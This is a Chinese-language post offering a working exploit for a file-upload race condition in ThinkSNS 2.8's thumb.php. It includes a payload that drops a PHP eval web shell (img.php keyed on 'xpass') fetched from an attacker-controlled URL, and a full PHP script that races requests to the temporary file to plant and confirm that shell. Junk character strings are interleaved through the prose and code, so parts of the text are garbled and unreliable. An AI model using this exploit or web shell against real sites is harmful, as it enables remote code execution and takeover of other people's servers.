Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
5 s: C! I* v3 o* w' z2 D存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
, F  ?* S- K2 Q2 P文件内容如下：
2 Y, _' i$ ^2 u% {& t, q<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
% D# M: M5 K% i% D! W
3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
, K( a' K7 _- D. ~' }<?php
: L4 v$ m9 h' C% S$ A! Serror_reporting(0);
set_time_limit(0);
6 D" F' z( J& r: a0 e) ]ini_set(“default_socket_timeout”, 5);
- R+ V* K5 \2 z9 g8 s$ k2 s* kfunction http_send($host, $port, $headers) {
3 E1 F9 P' H* A) E$fp = fsockopen($host, $port);
/ `2 d) \3 B7 {( tif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
  k" K2 w7 @8 U# O7 _. Yreturn $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
- l+ g$ _0 v0 [fclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
" E. F& p. \2 P% e; a/ v  Cprint “Usage:   php <host> <path> <romote_url>\n”;
1 {# |6 ]8 }: P6 [; K% |print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* L, H0 z0 Z) P, M8 j* S$ ldie();
- O$ d; [1 r# i+ x}
# ?8 d1 i4 m4 _' m$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
! P7 o' G+ z  s$ m6 r+ j$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
7 r" `8 O5 r; h2 ]: h$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
  K6 z& p% r' [* E1 k$ H! Vecho $headers;
8 D& I4 o6 C4 c8 |' v$ Gwhile(++$i<10) {
, ^8 e2 E, A( l" Efclose(http_send($host, 80, $headers));
& u4 w5 x/ r/ h/ W9 v% X}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
& Q& z  h1 n2 d5 X+ A3 C+ [; Cfclose(http_send($host, 80, $headers));
1 e- A6 }# P- D' j}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
( J# U# U- j9 ?+ M4 i$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
# ~" u' }+ j$ v: p1 ]} else {
print “Fail!\n\n”;
  ^- q' b2 b( V- B}
?>
​